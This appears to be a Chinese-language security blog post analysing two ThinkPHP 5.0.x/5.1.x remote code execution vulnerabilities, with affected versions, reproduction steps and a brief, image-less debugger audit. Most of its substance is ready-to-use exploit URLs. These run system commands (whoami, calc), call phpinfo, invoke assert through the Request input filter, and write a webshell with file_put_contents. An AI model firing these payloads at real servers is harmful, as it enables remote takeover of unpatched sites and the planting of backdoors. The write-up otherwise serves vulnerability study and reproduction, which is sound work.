ThinkPHP框架漏洞解析

2024-08-13 17:50:32 浏览数 (1)

ThinkPHP 5.x 远程代码执行漏洞-01

简介

代码语言:javascript复制
漏洞名称:ThinkPHP 5.0.x-5.1.x 远程代码执行漏洞
影响范围:ThinkPHP v5.0.5 < 5.0.23,ThinkPHP v5.1.0 < 5.1.31
威胁等级:严重
漏洞类型:远程代码执行

由于ThinkPHP v5框架对控制器名没有进行足够的安全检测,导致在没有开启强制路由的情况下,黑客构造特定的请求,可直接进行远程的代码执行,进而获得服务器权限。

复现

将TP框架的版本替换到对应的范围即可。这里用的是:5.1.22

ThinkPHP框架的版本可用通过:$Think.version 在页码输出

命令执行
代码语言:javascript复制
http://域名/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
拿探针
代码语言:javascript复制
http://www.tp.com/index.php?s=/Index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
写shell
代码语言:javascript复制
http://www.tp.com/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=

这个需要URL编码

审计

借助xdebug对代码进行断点调试。主要是看这个代码在Thinkphp底层是怎么运行的,以及MVC实现的方式,只要掌握这个基本就能审计代码了。我们拿第一个命令执行来举例:主要审计如何执行到命令的 点断点:

跳出去继续:

然后就是无限进入函数内部,直到:

进去:仔细思考传参

ThinkPHP 5.1.x远程代码执行漏洞-02

简介

代码语言:javascript复制
漏洞名称:ThinkPHP 5.1.x 远程代码执行漏洞
影响范围:ThinkPHP v5.1.0 < 5.1.31
威胁等级:严重
漏洞类型:远程代码执行

复现

命令执行
代码语言:javascript复制
http://域名?s=index/thinkRequest/input&filter=phpinfo&data=1
http://域名?s=index/thinkRequest/input&filter=assert&data=phpinfo();
命令执行2
代码语言:javascript复制
http://域名/?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc

0 人点赞